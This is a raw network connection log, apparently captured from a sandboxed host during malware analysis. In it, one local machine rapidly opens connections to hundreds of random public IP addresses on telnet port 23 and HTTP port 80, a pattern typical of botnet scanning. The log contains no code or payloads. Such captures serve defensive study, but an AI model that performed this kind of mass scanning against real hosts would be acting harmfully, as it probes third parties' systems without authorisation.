Jan 30, 2025 10:43:01.104345083 CET	35370	23	192.168.2.14	83.94.101.213
Jan 30, 2025 10:43:01.106856108 CET	52956	80	192.168.2.14	136.136.213.67
Jan 30, 2025 10:43:01.107913017 CET	33712	23	192.168.2.14	139.125.75.115
Jan 30, 2025 10:43:01.109895945 CET	54750	80	192.168.2.14	149.7.19.65
Jan 30, 2025 10:43:01.111416101 CET	42922	23	192.168.2.14	208.70.116.180
Jan 30, 2025 10:43:01.113823891 CET	46950	80	192.168.2.14	17.43.38.50
Jan 30, 2025 10:43:01.115111113 CET	38960	23	192.168.2.14	189.136.23.227
Jan 30, 2025 10:43:01.116184950 CET	23	42922	208.70.116.180	192.168.2.14
Jan 30, 2025 10:43:01.116267920 CET	42922	23	192.168.2.14	208.70.116.180
Jan 30, 2025 10:43:01.117578030 CET	42018	80	192.168.2.14	72.103.254.195
Jan 30, 2025 10:43:01.118891954 CET	57886	23	192.168.2.14	98.129.111.121
Jan 30, 2025 10:43:01.121243954 CET	56906	80	192.168.2.14	120.23.138.222
Jan 30, 2025 10:43:01.122968912 CET	34100	23	192.168.2.14	201.14.251.215
Jan 30, 2025 10:43:01.126065969 CET	80	56906	120.23.138.222	192.168.2.14
Jan 30, 2025 10:43:01.126108885 CET	56906	80	192.168.2.14	120.23.138.222
Jan 30, 2025 10:43:01.126808882 CET	34810	80	192.168.2.14	146.177.21.208
Jan 30, 2025 10:43:01.128745079 CET	54640	23	192.168.2.14	177.13.66.45
Jan 30, 2025 10:43:01.130877972 CET	53248	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:01.132097006 CET	51170	23	192.168.2.14	148.84.227.221
Jan 30, 2025 10:43:01.134284019 CET	60674	80	192.168.2.14	173.165.28.199
Jan 30, 2025 10:43:01.135520935 CET	46410	23	192.168.2.14	206.159.111.112
Jan 30, 2025 10:43:01.136858940 CET	23	51170	148.84.227.221	192.168.2.14
Jan 30, 2025 10:43:01.136913061 CET	51170	23	192.168.2.14	148.84.227.221
Jan 30, 2025 10:43:01.137567997 CET	34378	80	192.168.2.14	35.44.172.159
Jan 30, 2025 10:43:01.138494968 CET	42742	23	192.168.2.14	64.232.210.105
Jan 30, 2025 10:43:01.139893055 CET	48872	80	192.168.2.14	89.9.237.196
Jan 30, 2025 10:43:01.140554905 CET	51716	23	192.168.2.14	17.219.24.178
Jan 30, 2025 10:43:01.141916990 CET	58226	80	192.168.2.14	63.179.83.121
Jan 30, 2025 10:43:01.142138004 CET	36508	23	192.168.2.14	53.8.92.217
Jan 30, 2025 10:43:01.143999100 CET	57744	80	192.168.2.14	88.245.243.24
Jan 30, 2025 10:43:01.144154072 CET	54392	23	192.168.2.14	31.81.69.81
Jan 30, 2025 10:43:01.144660950 CET	80	48872	89.9.237.196	192.168.2.14
Jan 30, 2025 10:43:01.144701958 CET	48872	80	192.168.2.14	89.9.237.196
Jan 30, 2025 10:43:01.146032095 CET	45130	80	192.168.2.14	114.171.50.154
Jan 30, 2025 10:43:01.146277905 CET	35300	23	192.168.2.14	67.232.47.220
Jan 30, 2025 10:43:01.148303986 CET	44352	23	192.168.2.14	99.125.97.72
Jan 30, 2025 10:43:01.148432016 CET	44304	80	192.168.2.14	93.24.133.253
Jan 30, 2025 10:43:01.150588989 CET	38156	23	192.168.2.14	157.218.194.211
Jan 30, 2025 10:43:01.150737047 CET	53886	80	192.168.2.14	41.102.78.109
Jan 30, 2025 10:43:01.152770042 CET	41264	23	192.168.2.14	138.66.125.96
Jan 30, 2025 10:43:01.152928114 CET	45042	80	192.168.2.14	163.203.166.137
Jan 30, 2025 10:43:01.155052900 CET	43114	23	192.168.2.14	126.156.219.49
Jan 30, 2025 10:43:01.155211926 CET	44864	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:01.157593012 CET	23	41264	138.66.125.96	192.168.2.14
Jan 30, 2025 10:43:01.157632113 CET	41264	23	192.168.2.14	138.66.125.96
Jan 30, 2025 10:43:01.157676935 CET	34682	23	192.168.2.14	170.117.69.61
Jan 30, 2025 10:43:01.158050060 CET	42914	80	192.168.2.14	102.228.247.160
Jan 30, 2025 10:43:01.160029888 CET	53948	23	192.168.2.14	216.211.64.15
Jan 30, 2025 10:43:01.160742044 CET	59384	80	192.168.2.14	156.114.249.224
Jan 30, 2025 10:43:01.162003040 CET	45800	23	192.168.2.14	50.111.252.230
Jan 30, 2025 10:43:01.162702084 CET	33388	80	192.168.2.14	40.97.127.126
Jan 30, 2025 10:43:01.163414955 CET	38638	443	192.168.2.14	117.44.222.92
Jan 30, 2025 10:43:01.164242983 CET	47160	23	192.168.2.14	38.41.60.178
Jan 30, 2025 10:43:01.164813995 CET	23	53948	216.211.64.15	192.168.2.14
Jan 30, 2025 10:43:01.164855957 CET	53948	23	192.168.2.14	216.211.64.15
Jan 30, 2025 10:43:01.165278912 CET	42952	80	192.168.2.14	221.204.118.50
Jan 30, 2025 10:43:01.166517019 CET	56944	23	192.168.2.14	189.240.24.88
Jan 30, 2025 10:43:01.168081999 CET	36074	80	192.168.2.14	54.87.158.117
Jan 30, 2025 10:43:01.168895006 CET	47598	23	192.168.2.14	131.167.255.94
Jan 30, 2025 10:43:01.171163082 CET	37920	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:01.171399117 CET	49920	23	192.168.2.14	179.85.109.143
Jan 30, 2025 10:43:01.173290968 CET	41936	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:01.173398018 CET	49978	23	192.168.2.14	163.171.65.239
Jan 30, 2025 10:43:01.175400972 CET	47034	23	192.168.2.14	27.82.232.179
Jan 30, 2025 10:43:01.175569057 CET	55394	80	192.168.2.14	24.29.122.83
Jan 30, 2025 10:43:01.176597118 CET	23	49920	179.85.109.143	192.168.2.14
Jan 30, 2025 10:43:01.176637888 CET	49920	23	192.168.2.14	179.85.109.143
Jan 30, 2025 10:43:01.177706003 CET	34344	23	192.168.2.14	81.208.180.164
Jan 30, 2025 10:43:01.177833080 CET	44018	80	192.168.2.14	109.93.61.91
Jan 30, 2025 10:43:01.179667950 CET	43282	23	192.168.2.14	204.33.42.126
Jan 30, 2025 10:43:01.179821968 CET	44020	80	192.168.2.14	222.8.71.76
Jan 30, 2025 10:43:01.181598902 CET	57852	23	192.168.2.14	141.43.198.91
Jan 30, 2025 10:43:01.181781054 CET	56948	80	192.168.2.14	180.246.42.84
Jan 30, 2025 10:43:01.183737040 CET	38384	23	192.168.2.14	158.101.166.46
Jan 30, 2025 10:43:01.183871031 CET	46420	80	192.168.2.14	101.99.144.61
Jan 30, 2025 10:43:01.184490919 CET	23	43282	204.33.42.126	192.168.2.14
Jan 30, 2025 10:43:01.184542894 CET	43282	23	192.168.2.14	204.33.42.126
Jan 30, 2025 10:43:01.185792923 CET	47348	23	192.168.2.14	153.215.19.51
Jan 30, 2025 10:43:01.186038017 CET	34110	80	192.168.2.14	218.142.171.47
Jan 30, 2025 10:43:01.188354015 CET	37584	23	192.168.2.14	37.110.212.212
Jan 30, 2025 10:43:01.188766956 CET	41694	80	192.168.2.14	164.162.138.202
Jan 30, 2025 10:43:01.190776110 CET	58472	23	192.168.2.14	168.29.44.220
Jan 30, 2025 10:43:01.190948009 CET	33452	80	192.168.2.14	72.190.163.202
Jan 30, 2025 10:43:01.192962885 CET	46600	23	192.168.2.14	102.14.142.93
Jan 30, 2025 10:43:01.193392992 CET	51580	80	192.168.2.14	101.105.101.85
Jan 30, 2025 10:43:01.195005894 CET	43940	23	192.168.2.14	13.176.144.13
Jan 30, 2025 10:43:01.195137024 CET	60116	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:01.197449923 CET	53052	23	192.168.2.14	145.96.18.189
Jan 30, 2025 10:43:01.197855949 CET	39098	80	192.168.2.14	116.141.13.77
Jan 30, 2025 10:43:01.198519945 CET	23	46600	102.14.142.93	192.168.2.14
Jan 30, 2025 10:43:01.198570967 CET	46600	23	192.168.2.14	102.14.142.93
Jan 30, 2025 10:43:01.199218988 CET	38514	23	192.168.2.14	2.158.46.248
Jan 30, 2025 10:43:01.200007915 CET	56414	80	192.168.2.14	124.170.78.40
Jan 30, 2025 10:43:01.201159000 CET	46534	23	192.168.2.14	107.154.166.22
Jan 30, 2025 10:43:01.202064037 CET	43760	80	192.168.2.14	64.194.130.124
Jan 30, 2025 10:43:01.203007936 CET	59768	23	192.168.2.14	90.176.6.100
Jan 30, 2025 10:43:01.204807997 CET	80	56414	124.170.78.40	192.168.2.14
Jan 30, 2025 10:43:01.204817057 CET	35892	80	192.168.2.14	32.20.136.243
Jan 30, 2025 10:43:01.204874039 CET	56414	80	192.168.2.14	124.170.78.40
Jan 30, 2025 10:43:01.205506086 CET	45470	23	192.168.2.14	124.163.5.175
Jan 30, 2025 10:43:01.207305908 CET	60350	80	192.168.2.14	189.18.211.232
Jan 30, 2025 10:43:01.207571983 CET	59386	23	192.168.2.14	156.212.20.48
Jan 30, 2025 10:43:01.209614992 CET	36630	80	192.168.2.14	188.152.22.164
Jan 30, 2025 10:43:01.209706068 CET	49784	23	192.168.2.14	158.202.88.176
Jan 30, 2025 10:43:01.211508989 CET	42392	23	192.168.2.14	117.102.71.90
Jan 30, 2025 10:43:01.211709023 CET	45828	80	192.168.2.14	153.28.150.0
Jan 30, 2025 10:43:01.214122057 CET	47474	23	192.168.2.14	186.64.96.58
Jan 30, 2025 10:43:01.214142084 CET	59368	80	192.168.2.14	183.112.108.163
Jan 30, 2025 10:43:01.216061115 CET	54738	23	192.168.2.14	76.42.13.152
Jan 30, 2025 10:43:01.216375113 CET	58524	80	192.168.2.14	169.71.185.12
Jan 30, 2025 10:43:01.216732025 CET	23	42392	117.102.71.90	192.168.2.14
Jan 30, 2025 10:43:01.216784954 CET	42392	23	192.168.2.14	117.102.71.90
Jan 30, 2025 10:43:01.217835903 CET	55788	23	192.168.2.14	131.189.41.63
Jan 30, 2025 10:43:01.218602896 CET	51166	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:01.220016956 CET	38736	80	192.168.2.14	154.164.115.164
Jan 30, 2025 10:43:01.221195936 CET	54066	80	192.168.2.14	201.225.216.198
Jan 30, 2025 10:43:01.222811937 CET	60606	80	192.168.2.14	91.99.79.0
Jan 30, 2025 10:43:01.224340916 CET	44230	80	192.168.2.14	199.71.176.72
Jan 30, 2025 10:43:01.225893021 CET	47018	80	192.168.2.14	58.149.86.49
Jan 30, 2025 10:43:01.226074934 CET	80	38736	154.164.115.164	192.168.2.14
Jan 30, 2025 10:43:01.226133108 CET	38736	80	192.168.2.14	154.164.115.164
Jan 30, 2025 10:43:01.226912975 CET	56164	80	192.168.2.14	223.231.66.61
Jan 30, 2025 10:43:01.227778912 CET	53556	80	192.168.2.14	47.230.157.208
Jan 30, 2025 10:43:01.229118109 CET	33100	80	192.168.2.14	14.130.211.223
Jan 30, 2025 10:43:01.230305910 CET	43904	80	192.168.2.14	75.104.75.176
Jan 30, 2025 10:43:01.232377052 CET	54482	80	192.168.2.14	130.219.127.143
Jan 30, 2025 10:43:01.232552052 CET	38666	23	192.168.2.14	118.212.248.36
Jan 30, 2025 10:43:01.235304117 CET	40798	23	192.168.2.14	213.230.220.243
Jan 30, 2025 10:43:01.237430096 CET	47622	23	192.168.2.14	196.151.125.165
Jan 30, 2025 10:43:01.237560987 CET	80	54482	130.219.127.143	192.168.2.14
Jan 30, 2025 10:43:01.237617970 CET	54482	80	192.168.2.14	130.219.127.143
Jan 30, 2025 10:43:01.238370895 CET	47800	23	192.168.2.14	91.18.163.105
Jan 30, 2025 10:43:01.239331007 CET	47988	23	192.168.2.14	75.96.84.108
Jan 30, 2025 10:43:01.240202904 CET	38226	23	192.168.2.14	87.216.141.205
Jan 30, 2025 10:43:01.241231918 CET	33598	23	192.168.2.14	40.246.201.198
Jan 30, 2025 10:43:01.242330074 CET	40230	23	192.168.2.14	88.158.1.228
Jan 30, 2025 10:43:01.243336916 CET	40488	23	192.168.2.14	195.70.91.168
Jan 30, 2025 10:43:01.244281054 CET	52752	23	192.168.2.14	208.11.100.130
Jan 30, 2025 10:43:01.245177984 CET	46044	23	192.168.2.14	117.18.52.15
Jan 30, 2025 10:43:01.246072054 CET	40308	23	192.168.2.14	137.235.255.225
Jan 30, 2025 10:43:01.246216059 CET	23	47988	75.96.84.108	192.168.2.14
Jan 30, 2025 10:43:01.246277094 CET	47988	23	192.168.2.14	75.96.84.108
Jan 30, 2025 10:43:01.247333050 CET	33554	23	192.168.2.14	69.232.229.103
Jan 30, 2025 10:43:01.248332024 CET	48930	23	192.168.2.14	159.48.79.134
Jan 30, 2025 10:43:01.249300957 CET	48206	23	192.168.2.14	45.26.8.105
Jan 30, 2025 10:43:01.250297070 CET	50946	23	192.168.2.14	9.232.38.90
Jan 30, 2025 10:43:01.251435041 CET	59298	23	192.168.2.14	194.214.27.172
Jan 30, 2025 10:43:01.252424002 CET	46182	23	192.168.2.14	211.228.207.243
Jan 30, 2025 10:43:01.253434896 CET	60750	23	192.168.2.14	81.123.76.95
Jan 30, 2025 10:43:01.254642010 CET	57956	23	192.168.2.14	131.145.223.108
Jan 30, 2025 10:43:01.256196022 CET	58124	23	192.168.2.14	90.243.252.229
Jan 30, 2025 10:43:01.256392002 CET	60584	80	192.168.2.14	91.128.91.22
Jan 30, 2025 10:43:01.257992029 CET	23	59298	194.214.27.172	192.168.2.14
Jan 30, 2025 10:43:01.258039951 CET	59298	23	192.168.2.14	194.214.27.172
Jan 30, 2025 10:43:01.258721113 CET	34868	23	192.168.2.14	162.148.116.69
Jan 30, 2025 10:43:01.258924007 CET	52798	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:01.260690928 CET	46822	23	192.168.2.14	190.249.69.42
Jan 30, 2025 10:43:01.260838032 CET	40142	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:01.262813091 CET	58926	23	192.168.2.14	205.18.13.164
Jan 30, 2025 10:43:01.263103008 CET	41402	80	192.168.2.14	76.70.153.23
Jan 30, 2025 10:43:01.264755964 CET	54922	23	192.168.2.14	37.235.118.110
Jan 30, 2025 10:43:01.265599012 CET	35464	80	192.168.2.14	188.84.228.143
Jan 30, 2025 10:43:01.267057896 CET	37690	23	192.168.2.14	53.35.130.156
Jan 30, 2025 10:43:01.268148899 CET	52700	80	192.168.2.14	142.231.215.51
Jan 30, 2025 10:43:01.270458937 CET	23	46822	190.249.69.42	192.168.2.14
Jan 30, 2025 10:43:01.270523071 CET	46822	23	192.168.2.14	190.249.69.42
Jan 30, 2025 10:43:01.271950006 CET	36126	23	192.168.2.14	161.217.74.132
Jan 30, 2025 10:43:01.273149014 CET	54824	80	192.168.2.14	152.129.178.243
Jan 30, 2025 10:43:01.274708033 CET	57766	23	192.168.2.14	136.69.245.231
Jan 30, 2025 10:43:01.275784016 CET	35432	80	192.168.2.14	115.27.91.61
Jan 30, 2025 10:43:01.276917934 CET	34674	23	192.168.2.14	97.248.87.88
Jan 30, 2025 10:43:01.277503014 CET	23	36126	161.217.74.132	192.168.2.14
Jan 30, 2025 10:43:01.277573109 CET	36126	23	192.168.2.14	161.217.74.132
Jan 30, 2025 10:43:01.278604031 CET	41030	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:01.279433966 CET	45842	23	192.168.2.14	150.177.227.109
Jan 30, 2025 10:43:01.281064987 CET	37070	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:01.281905890 CET	58628	23	192.168.2.14	100.48.159.253
Jan 30, 2025 10:43:01.283524990 CET	51784	80	192.168.2.14	42.137.3.170
Jan 30, 2025 10:43:01.283911943 CET	41602	23	192.168.2.14	137.186.157.142
Jan 30, 2025 10:43:01.285998106 CET	23	45842	150.177.227.109	192.168.2.14
Jan 30, 2025 10:43:01.286056042 CET	45842	23	192.168.2.14	150.177.227.109
Jan 30, 2025 10:43:01.287056923 CET	42388	80	192.168.2.14	104.65.63.136
Jan 30, 2025 10:43:01.287228107 CET	52948	23	192.168.2.14	93.3.231.15
Jan 30, 2025 10:43:01.289232016 CET	57716	23	192.168.2.14	86.131.55.201
Jan 30, 2025 10:43:01.289411068 CET	50822	80	192.168.2.14	36.244.20.137
Jan 30, 2025 10:43:01.291594982 CET	54522	23	192.168.2.14	207.53.76.228
Jan 30, 2025 10:43:01.291851044 CET	54168	80	192.168.2.14	37.189.190.222
Jan 30, 2025 10:43:01.293220997 CET	46746	23	192.168.2.14	173.211.164.143
Jan 30, 2025 10:43:01.294363022 CET	41006	80	192.168.2.14	117.36.218.208
Jan 30, 2025 10:43:01.295849085 CET	51824	23	192.168.2.14	103.197.110.162
Jan 30, 2025 10:43:01.296397924 CET	23	54522	207.53.76.228	192.168.2.14
Jan 30, 2025 10:43:01.296456099 CET	54522	23	192.168.2.14	207.53.76.228
Jan 30, 2025 10:43:01.296859026 CET	59166	80	192.168.2.14	176.11.178.157
Jan 30, 2025 10:43:01.298284054 CET	40762	23	192.168.2.14	49.181.254.175
Jan 30, 2025 10:43:01.299324036 CET	33986	80	192.168.2.14	70.171.35.104
Jan 30, 2025 10:43:01.300525904 CET	59188	23	192.168.2.14	196.202.231.26
Jan 30, 2025 10:43:01.301687956 CET	37654	80	192.168.2.14	45.159.42.170
Jan 30, 2025 10:43:01.302552938 CET	39186	23	192.168.2.14	143.52.203.108
Jan 30, 2025 10:43:01.304101944 CET	46154	80	192.168.2.14	120.156.154.135
Jan 30, 2025 10:43:01.304127932 CET	80	33986	70.171.35.104	192.168.2.14
Jan 30, 2025 10:43:01.304187059 CET	33986	80	192.168.2.14	70.171.35.104
Jan 30, 2025 10:43:01.304934025 CET	37098	23	192.168.2.14	90.248.95.93
Jan 30, 2025 10:43:01.306557894 CET	37570	80	192.168.2.14	171.85.237.97
Jan 30, 2025 10:43:01.307054043 CET	42412	23	192.168.2.14	101.83.111.40
Jan 30, 2025 10:43:01.309124947 CET	35336	80	192.168.2.14	70.67.135.56
Jan 30, 2025 10:43:01.309242010 CET	37706	23	192.168.2.14	203.253.22.110
Jan 30, 2025 10:43:01.311589956 CET	42360	23	192.168.2.14	168.3.245.49
Jan 30, 2025 10:43:01.311750889 CET	40148	80	192.168.2.14	23.195.253.247
Jan 30, 2025 10:43:01.314418077 CET	39988	23	192.168.2.14	19.24.141.97
Jan 30, 2025 10:43:01.314696074 CET	55542	80	192.168.2.14	196.131.224.189
Jan 30, 2025 10:43:01.316366911 CET	23	42360	168.3.245.49	192.168.2.14
Jan 30, 2025 10:43:01.316431999 CET	42360	23	192.168.2.14	168.3.245.49
Jan 30, 2025 10:43:01.316490889 CET	34610	23	192.168.2.14	23.67.10.178
Jan 30, 2025 10:43:01.317440987 CET	42110	80	192.168.2.14	32.84.125.20
Jan 30, 2025 10:43:01.319107056 CET	44228	23	192.168.2.14	71.130.200.166
Jan 30, 2025 10:43:01.319983959 CET	37028	80	192.168.2.14	196.3.191.224
Jan 30, 2025 10:43:01.321089983 CET	50310	23	192.168.2.14	117.240.29.230
Jan 30, 2025 10:43:01.322218895 CET	59554	80	192.168.2.14	143.101.149.90
Jan 30, 2025 10:43:01.323226929 CET	50572	23	192.168.2.14	19.61.174.251
Jan 30, 2025 10:43:01.324496031 CET	33564	80	192.168.2.14	58.95.204.51
Jan 30, 2025 10:43:01.324814081 CET	80	37028	196.3.191.224	192.168.2.14
Jan 30, 2025 10:43:01.324873924 CET	37028	80	192.168.2.14	196.3.191.224
Jan 30, 2025 10:43:01.325350046 CET	43274	23	192.168.2.14	109.166.181.201
Jan 30, 2025 10:43:01.326981068 CET	32826	80	192.168.2.14	170.200.119.231
Jan 30, 2025 10:43:01.327809095 CET	42246	23	192.168.2.14	153.29.121.93
Jan 30, 2025 10:43:01.329112053 CET	40778	80	192.168.2.14	107.214.109.83
Jan 30, 2025 10:43:01.330431938 CET	58226	23	192.168.2.14	175.146.203.178
Jan 30, 2025 10:43:01.331938028 CET	33624	80	192.168.2.14	198.151.162.206
Jan 30, 2025 10:43:01.332628965 CET	37958	23	192.168.2.14	168.213.38.162
Jan 30, 2025 10:43:01.334034920 CET	49898	80	192.168.2.14	12.55.101.186
Jan 30, 2025 10:43:01.334285021 CET	34098	23	192.168.2.14	187.84.133.124
Jan 30, 2025 10:43:01.336744070 CET	80	33624	198.151.162.206	192.168.2.14
Jan 30, 2025 10:43:01.336795092 CET	33624	80	192.168.2.14	198.151.162.206
Jan 30, 2025 10:43:01.336884975 CET	54380	80	192.168.2.14	153.31.89.75
Jan 30, 2025 10:43:01.336992979 CET	57304	23	192.168.2.14	152.132.175.95
Jan 30, 2025 10:43:01.339152098 CET	42736	23	192.168.2.14	181.23.57.195
Jan 30, 2025 10:43:01.339339972 CET	50112	80	192.168.2.14	149.247.70.10
Jan 30, 2025 10:43:01.341253042 CET	33394	23	192.168.2.14	23.231.98.71
Jan 30, 2025 10:43:01.341609001 CET	48600	80	192.168.2.14	43.83.128.171
Jan 30, 2025 10:43:01.343734980 CET	54220	23	192.168.2.14	128.34.200.102
Jan 30, 2025 10:43:01.344588041 CET	35318	80	192.168.2.14	53.182.223.56
Jan 30, 2025 10:43:01.345738888 CET	80	50112	149.247.70.10	192.168.2.14
Jan 30, 2025 10:43:01.345788002 CET	50112	80	192.168.2.14	149.247.70.10
Jan 30, 2025 10:43:01.346116066 CET	56300	23	192.168.2.14	157.78.114.244
Jan 30, 2025 10:43:01.346941948 CET	37928	80	192.168.2.14	126.245.114.212
Jan 30, 2025 10:43:01.347768068 CET	57978	23	192.168.2.14	169.223.194.34
Jan 30, 2025 10:43:01.349361897 CET	44670	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:01.349469900 CET	46074	23	192.168.2.14	181.159.112.218
Jan 30, 2025 10:43:01.351703882 CET	50440	80	192.168.2.14	90.64.6.63
Jan 30, 2025 10:43:01.351820946 CET	50896	23	192.168.2.14	35.96.54.185
Jan 30, 2025 10:43:01.354151011 CET	51636	23	192.168.2.14	17.81.98.167
Jan 30, 2025 10:43:01.354373932 CET	33274	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:01.356826067 CET	44950	23	192.168.2.14	139.235.204.206
Jan 30, 2025 10:43:01.356856108 CET	80	50440	90.64.6.63	192.168.2.14
Jan 30, 2025 10:43:01.356914043 CET	50440	80	192.168.2.14	90.64.6.63
Jan 30, 2025 10:43:01.356930017 CET	42760	80	192.168.2.14	14.139.27.83
Jan 30, 2025 10:43:01.358834982 CET	58116	80	192.168.2.14	185.103.128.119
Jan 30, 2025 10:43:01.359980106 CET	45876	80	192.168.2.14	161.80.48.54
Jan 30, 2025 10:43:01.361326933 CET	56748	80	192.168.2.14	139.203.17.83
Jan 30, 2025 10:43:01.362545013 CET	51094	80	192.168.2.14	13.56.93.149
Jan 30, 2025 10:43:01.363522053 CET	39336	80	192.168.2.14	43.234.156.6
Jan 30, 2025 10:43:01.364947081 CET	44848	80	192.168.2.14	8.247.107.28
Jan 30, 2025 10:43:01.365863085 CET	55790	80	192.168.2.14	37.86.139.71
Jan 30, 2025 10:43:01.366863012 CET	48042	80	192.168.2.14	94.45.193.170
Jan 30, 2025 10:43:01.367357969 CET	80	45876	161.80.48.54	192.168.2.14
Jan 30, 2025 10:43:01.367425919 CET	45876	80	192.168.2.14	161.80.48.54
Jan 30, 2025 10:43:01.368088007 CET	46056	80	192.168.2.14	103.44.133.210
Jan 30, 2025 10:43:01.369362116 CET	33110	80	192.168.2.14	167.83.109.80
Jan 30, 2025 10:43:01.370608091 CET	37380	80	192.168.2.14	112.235.91.75
Jan 30, 2025 10:43:01.371594906 CET	57840	80	192.168.2.14	95.58.145.95
Jan 30, 2025 10:43:01.372468948 CET	34458	23	192.168.2.14	4.184.231.164
Jan 30, 2025 10:43:01.373722076 CET	52732	80	192.168.2.14	75.126.156.38
Jan 30, 2025 10:43:01.374712944 CET	54226	23	192.168.2.14	222.205.253.197
Jan 30, 2025 10:43:01.376005888 CET	38080	80	192.168.2.14	148.126.172.10
Jan 30, 2025 10:43:01.376383066 CET	80	57840	95.58.145.95	192.168.2.14
Jan 30, 2025 10:43:01.376425982 CET	57840	80	192.168.2.14	95.58.145.95
Jan 30, 2025 10:43:01.376940012 CET	32880	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:01.377950907 CET	57494	80	192.168.2.14	135.33.37.175
Jan 30, 2025 10:43:01.378979921 CET	39484	80	192.168.2.14	167.137.151.25
Jan 30, 2025 10:43:01.380179882 CET	48034	80	192.168.2.14	14.190.218.71
Jan 30, 2025 10:43:01.381287098 CET	51028	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:01.382317066 CET	45120	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:01.383559942 CET	40908	80	192.168.2.14	144.85.7.196
Jan 30, 2025 10:43:01.384865046 CET	47072	80	192.168.2.14	142.123.19.80
Jan 30, 2025 10:43:01.384927988 CET	80	48034	14.190.218.71	192.168.2.14
Jan 30, 2025 10:43:01.385039091 CET	48034	80	192.168.2.14	14.190.218.71
Jan 30, 2025 10:43:01.386081934 CET	57740	80	192.168.2.14	17.134.11.14
Jan 30, 2025 10:43:01.387695074 CET	54868	80	192.168.2.14	212.146.212.212
Jan 30, 2025 10:43:01.404069901 CET	36320	80	192.168.2.14	103.213.214.129
Jan 30, 2025 10:43:01.405093908 CET	60270	80	192.168.2.14	155.198.4.108
Jan 30, 2025 10:43:01.406110048 CET	45982	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:01.407118082 CET	55342	80	192.168.2.14	169.134.77.237
Jan 30, 2025 10:43:01.408118963 CET	34978	80	192.168.2.14	19.48.24.237
Jan 30, 2025 10:43:01.408956051 CET	80	36320	103.213.214.129	192.168.2.14
Jan 30, 2025 10:43:01.409006119 CET	36320	80	192.168.2.14	103.213.214.129
Jan 30, 2025 10:43:01.409246922 CET	57588	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:01.409878016 CET	80	60270	155.198.4.108	192.168.2.14
Jan 30, 2025 10:43:01.410008907 CET	60270	80	192.168.2.14	155.198.4.108
Jan 30, 2025 10:43:01.410553932 CET	41712	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:01.411765099 CET	56900	80	192.168.2.14	76.228.178.139
Jan 30, 2025 10:43:01.412827969 CET	41976	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:01.413908005 CET	49098	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:01.414828062 CET	36970	80	192.168.2.14	207.173.216.199
Jan 30, 2025 10:43:01.415937901 CET	57084	80	192.168.2.14	151.165.83.172
Jan 30, 2025 10:43:01.416829109 CET	80	56900	76.228.178.139	192.168.2.14
Jan 30, 2025 10:43:01.416874886 CET	56900	80	192.168.2.14	76.228.178.139
Jan 30, 2025 10:43:01.417169094 CET	34288	80	192.168.2.14	148.70.250.60
Jan 30, 2025 10:43:01.418447971 CET	45372	80	192.168.2.14	69.179.37.238
Jan 30, 2025 10:43:01.419683933 CET	43418	80	192.168.2.14	104.250.231.48
Jan 30, 2025 10:43:01.420891047 CET	51310	80	192.168.2.14	79.203.84.48
Jan 30, 2025 10:43:01.422202110 CET	52646	80	192.168.2.14	206.228.21.107
Jan 30, 2025 10:43:01.423508883 CET	47400	80	192.168.2.14	113.148.146.197
Jan 30, 2025 10:43:01.424696922 CET	40308	80	192.168.2.14	69.152.33.44
Jan 30, 2025 10:43:01.425115108 CET	80	43418	104.250.231.48	192.168.2.14
Jan 30, 2025 10:43:01.425190926 CET	43418	80	192.168.2.14	104.250.231.48
Jan 30, 2025 10:43:01.425905943 CET	39098	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:01.426924944 CET	60160	80	192.168.2.14	144.10.187.85
Jan 30, 2025 10:43:01.427992105 CET	44294	80	192.168.2.14	67.120.157.5
Jan 30, 2025 10:43:01.428900957 CET	54522	80	192.168.2.14	135.235.146.195
Jan 30, 2025 10:43:01.430402994 CET	39700	80	192.168.2.14	207.195.50.93
Jan 30, 2025 10:43:01.431785107 CET	32818	80	192.168.2.14	57.162.48.58
Jan 30, 2025 10:43:01.433434963 CET	38300	80	192.168.2.14	172.66.73.190
Jan 30, 2025 10:43:01.434498072 CET	42682	80	192.168.2.14	85.67.211.58
Jan 30, 2025 10:43:01.435770988 CET	57884	80	192.168.2.14	182.44.1.128
Jan 30, 2025 10:43:01.436896086 CET	80	32818	57.162.48.58	192.168.2.14
Jan 30, 2025 10:43:01.436940908 CET	32818	80	192.168.2.14	57.162.48.58
Jan 30, 2025 10:43:01.437172890 CET	43468	80	192.168.2.14	107.251.13.205
Jan 30, 2025 10:43:01.438353062 CET	41782	80	192.168.2.14	17.226.211.55
Jan 30, 2025 10:43:01.439649105 CET	38712	80	192.168.2.14	200.209.40.223
Jan 30, 2025 10:43:01.440637112 CET	60104	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:01.441690922 CET	38984	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:01.442733049 CET	58598	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:01.443798065 CET	34930	80	192.168.2.14	50.174.166.7
Jan 30, 2025 10:43:01.444503069 CET	80	38712	200.209.40.223	192.168.2.14
Jan 30, 2025 10:43:01.444555044 CET	38712	80	192.168.2.14	200.209.40.223
Jan 30, 2025 10:43:01.445230961 CET	45116	80	192.168.2.14	212.143.140.222
Jan 30, 2025 10:43:01.446486950 CET	58008	80	192.168.2.14	90.51.118.137
Jan 30, 2025 10:43:01.447813988 CET	54456	80	192.168.2.14	73.211.22.163
Jan 30, 2025 10:43:01.447851896 CET	54456	80	192.168.2.14	73.211.22.163
Jan 30, 2025 10:43:01.448434114 CET	55006	80	192.168.2.14	73.211.22.163
